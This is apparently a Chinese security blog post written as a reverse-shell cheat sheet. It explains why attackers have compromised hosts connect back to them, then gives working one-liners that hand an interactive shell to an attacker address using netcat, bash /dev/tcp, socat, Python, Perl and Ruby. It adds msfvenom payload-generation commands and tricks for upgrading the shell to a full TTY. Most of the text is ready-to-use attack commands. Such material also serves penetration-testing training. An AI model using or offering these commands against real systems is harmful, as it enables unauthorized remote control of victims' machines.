[toc]
反弹shell
什么是反弹shell 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。 那么什么情况下正向连接不太好用了呢? * 某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。 * 由于防火墙等限制,对方机器只能发送请求,不能接收请求。 * 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。 那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。 本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。 作者:玄魂工作室-玄魂 环境
Linux kali 4.15.0-kali2-amd64 Linux ubuntu 4.4.0-130-generic
nc反弹shell
nc/netcat(选项)(参数)
1 | -g<网关>:设置路由器跃程通信网关,最多设置8个; |
靶机
1 | nc -lvvp 8080 -t -e /bin/bash |
攻击者
1 | nc 192.168.118.138 8080 |
以下演示攻击者都为 netcat
1 | nc -lvvp 8080 |
或者 socat
1 | socat TCP-LISTEN:5555 - |
bash直接反弹
靶机
1 | bash -i >& /dev/tcp/192.168.86.131/8080 0>&1 |
0是标准输入,1为标准输出,2是标准错误信息输出。 这个命令的意思是:bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
socat反弹
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,其功能与netcat类似。我们可以使用Socat通过TCP连接传递完整的TTY 靶机
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.86.131:8080 |
利用 Python 脚本反弹
1 | # 需要把内容并到一行,并用python2 -c 'xx'执行 |
靶机
1 | python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.131",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
利用php 反弹
1 | #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6 |
利用perl 反弹
1 | perl -e 'use Socket;$i="192.168.86.131";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
利用Ruby反弹
1 | ruby -rsocket -e'f=TCPSocket.open("192.168.86.131",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
利用MSF生成反弹语句
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。
1 | msfvenom -l payloads 'cmd/unix/reverse' |
bash 反弹一句话生成
1 | msfvenom -p cmd/unix/reverse_bash lhost=192.168.86.131 lport=8080 R |
阉割版nc反弹一句话生成
1 | msfvenom -p cmd/unix/reverse_netcat lhost=192.168.86.131 lport=8080 R |
将简单的Shell转换成为完全交互式的TTY
tty是控制终端,tty是表示当前tty设备。登陆的控制终端为tty,映射到实际的虚拟终端设备。如tty1、tty2等。 在命令行模式下,是映射到虚拟终端。在图形界面下,被映射到/dev/pts伪终端上。如/dev/pts/0、/dev/pts/1等。 tty0是虚拟终端的别名,无论使用哪个虚拟终端,系统产生的信息都会发到控制终端(即控制台)上。所以能在显示器上看到不同虚拟终端的信息。 反弹的shell除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点: * 一些命令如su和ssh,需要一个正确的终端才能运行 * 通常不显示STDERR * 无法正常使用vim等文本编辑器 * 没有完成标签 * 没有向上箭头使用历史 * 没有jobcontrol等
Python pty模块
对于已经安装了python的系统,可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
使用socat反弹shell
socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY,你将会获取到一个完全交互式的TTY会话。它支持完成标签,SIGINT/SIGSTP,vim,向上箭头使用历史等
魔术般的Netcat升级
这个我没有复现成功,别人可以,不知道是什么 首先检查当前终端和STTY信息
1 | echo $TERM |
所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(24行;80列) 我们打开一个shell。运行命令
1 | stty raw -echo |
这样会将stty的设置给重置,也就意味着你看不到输入的内容。我们在靶机上反弹一个shell,设定端口为8080。随后盲敲nc反弹shell的命令,打回车。之后你会看见自己的输入条到了中间,再输入reset重置终端。 然后设置
1 | export SHELL=bash |
Referer
https://www.anquanke.com/post/id/87017 https://www.cnblogs.com/r00tgrok/p/reverse\_shell\_cheatsheet.html http://shaobaobaoer.cn/archives/651/%E5%8F%8D%E5%BC%B9shell%E8%A7%A3%E6%9E%90 http://www.freebuf.com/news/142195.html